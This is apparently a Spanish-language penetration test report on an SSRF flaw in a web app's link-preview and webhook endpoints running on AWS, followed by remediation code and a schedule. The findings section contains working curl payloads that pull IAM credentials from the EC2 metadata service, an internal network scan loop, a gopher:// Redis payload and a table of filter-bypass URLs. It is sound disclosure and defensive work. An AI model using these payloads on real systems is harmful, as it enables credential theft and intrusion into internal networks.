Resumen ejecutivo
Superficie de ataque
Endpoints con entrada URL
5 encontrados
Con validacion implementada
1 de 5
IMDSv2 habilitado
0 de 8 instancias
Impacto potencial
🔑
IAM Credentials
Confirmado
🏢
Red interna
10.0.1.0/24
🗄️
Bases de datos
Alcanzables
👥
Datos clientes
En riesgo
Hallazgos — Vulnerabilidades identificadas
El endpoint /api/v2/preview-link acepta cualquier URL sin validacion y retorna el contenido
de la respuesta al atacante. Se ha confirmado acceso al servicio de metadatos de EC2 (IMDSv1) con extraccion
exitosa de credenciales IAM temporales del rol datasync-prod-role.
Prueba de concepto (PoC)
$ curl -s -X POST https://app.datasyncpro.io/api/v2/preview-link \
-H "Authorization: Bearer <token_valido>" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
{
"title": "EC2 Metadata",
"content": "ami-id\nami-launch-index\nhostname\niam/\ninstance-id\nlocal-ipv4\n..."
}
$ curl -s -X POST https://app.datasyncpro.io/api/v2/preview-link \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/datasync-prod-role"}'
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA4J7KL2MN...",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
"Token": "IQoJb3JpZ2luX2VjE...",
"Expiration": "2026-06-16T18:00:00Z"
}
Con estas credenciales un atacante puede autenticarse en AWS y acceder a los buckets S3 de produccion,
ejecutar acciones en EC2/RDS, modificar roles IAM y potencialmente comprometer toda la infraestructura.
Mediante escaneo de la red interna 10.0.1.0/24 se han identificado y alcanzado
Redis (10.0.1.12:6379), PostgreSQL (10.0.1.20:5432) y el panel admin de microservicios (10.0.1.5:8080)
sin autenticacion desde el exterior.
$ for ip in $(seq 1 30); do
curl -s --max-time 2 -X POST .../preview-link \
-d "{\"url\":\"http://10.0.1.$ip:6379\"}" | grep -q "PONG|ERR" && echo "VIVO: 10.0.1.$ip:6379"
done
VIVO: 10.0.1.12:6379 # Redis sin auth
VIVO: 10.0.1.20:5432 # PostgreSQL
VIVO: 10.0.1.5:8080 # Panel admin microservicio sync
{"url": "gopher://10.0.1.12:6379/_*1%0d%0a$4%0d%0aKEYS%0d%0a*%0d%0a"}
El filtro de lista negra implementado es eludible mediante representaciones alternativas de 127.0.0.1.
Se identificaron 6 tecnicas de bypass exitosas.
Payloads de bypass confirmados
| Payload |
Tecnica |
Filtro Actual |
Resultado |
| http://127.0.0.1/ |
IP directa |
BLOQUEADO |
N/A |
| http://2130706433/ |
Decimal |
PERMITIDO |
EXPLOTABLE |
| http://0x7f000001/ |
Hexadecimal |
PERMITIDO |
EXPLOTABLE |
| http://[::1]/ |
IPv6 loopback |
PERMITIDO |
EXPLOTABLE |
| http://127.1/ |
Forma corta |
PERMITIDO |
EXPLOTABLE |
| http://evil.com@127.0.0.1/ |
Username URL |
PERMITIDO |
EXPLOTABLE |
El endpoint de configuracion de webhooks (/api/v1/integrations/webhook)
no retorna la respuesta pero confirma SSRF por diferencias de tiempo de respuesta, permitiendo mapeo de red interna.
POST /api/v1/integrations/webhook {"url": "http://10.0.1.12:6379", "event": "sync"}
Response: 200 OK — tiempo: 124ms
POST /api/v1/integrations/webhook {"url": "http://10.0.1.12:9999", "event": "sync"}
Response: 200 OK — tiempo: 3021ms
Todas las instancias EC2 del entorno de produccion tienen IMDSv1 habilitado, que no requiere token de sesion previo.
IMDSv2 (que protege contra SSRF al requerir un PUT previo) no esta configurado en ninguna instancia.
$ aws ec2 describe-instances --query \
"Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]" \
--output table
i-0a1b2c3d4e | optional # IMDSv1 activo — VULNERABLE
i-0f9e8d7c6b | optional # IMDSv1 activo — VULNERABLE
i-05c4d3e2f1 | optional # IMDSv1 activo — VULNERABLE
Remediacion — Codigo de mitigacion
Validacion de URLs — Python (reemplaza axios sin validacion)
import ipaddress
import socket
from urllib.parse import urlparse
from typing import Optional
BLOCKED_NETWORKS = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'),
ipaddress.ip_network('100.64.0.0/10'),
ipaddress.ip_network('::1/128'),
ipaddress.ip_network('fc00::/7'),
ipaddress.ip_network('fe80::/10'),
]
ALLOWED_SCHEMES = {'http', 'https'}
def validate_url(url: str) -> bool:
"""
Valida que una URL proporcionada por el usuario sea segura para fetch.
Protege contra: SSRF directo, bypass decimal/hex/IPv6,
protocol smuggling (gopher), acceso a metadatos cloud.
Raises ValueError si la URL es peligrosa.
"""
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f"Esquema no permitido: {parsed.scheme}")
hostname = parsed.hostname
if not hostname:
raise ValueError("URL sin hostname")
try:
resolved = socket.getaddrinfo(hostname, parsed.port or 443)
except socket.gaierror:
raise ValueError(f"No se puede resolver: {hostname}")
for family, type_, proto, canonname, sockaddr in resolved:
ip = ipaddress.ip_address(sockaddr[0])
for network in BLOCKED_NETWORKS:
if ip in network:
raise ValueError(
f"Bloqueado: {hostname} resuelve a IP privada {ip}"
)
return True
def safe_preview(url: str) -> Optional[dict]:
try:
validate_url(url)
except ValueError as e:
return {"error": "URL no permitida", "code": 403}
return do_fetch(url, timeout=5, max_size=512_000)
Plan de remediacion priorizado
Acciones inmediatas (24-48h)
Acciones a corto plazo (1-2 semanas)
Cronograma de remediacion
🚨
INMEDIATO — Bloquear endpoint + Rotar IAM
WAF rule + aws iam create-access-key (nuevo) + deactivate old key + CloudTrail audit
Dia 0-1
🔒
CRITICO — IMDSv2 en todas las instancias
aws ec2 modify-instance-metadata-options --http-tokens required (x8 instancias)
Dia 1-2
🛡️
ALTO — Desplegar validacion de URLs
Integrar ssrf_prevention.py + tests unitarios + deploy + reabrir endpoint
Dia 3-7
🏗️
MEDIO — Segmentacion de red + fetcher aislado
Security Groups + VPC nacl + microservicio fetcher con network policy restrictiva
Dia 7-14
✅
CIERRE — Re-test y certificacion
Auditoria de verificacion: repetir todos los PoC, confirmar que no son reproducibles
Dia 15
Tecnologias / Ambito
SSRF
AWS EC2
IMDSv1 → IMDSv2
Node.js
Python
Redis
IAM credentials
DNS rebinding
Protocol smuggling
gopher://
Red interna 10.0.1.0/24
OWASP A10
CVSS 9.8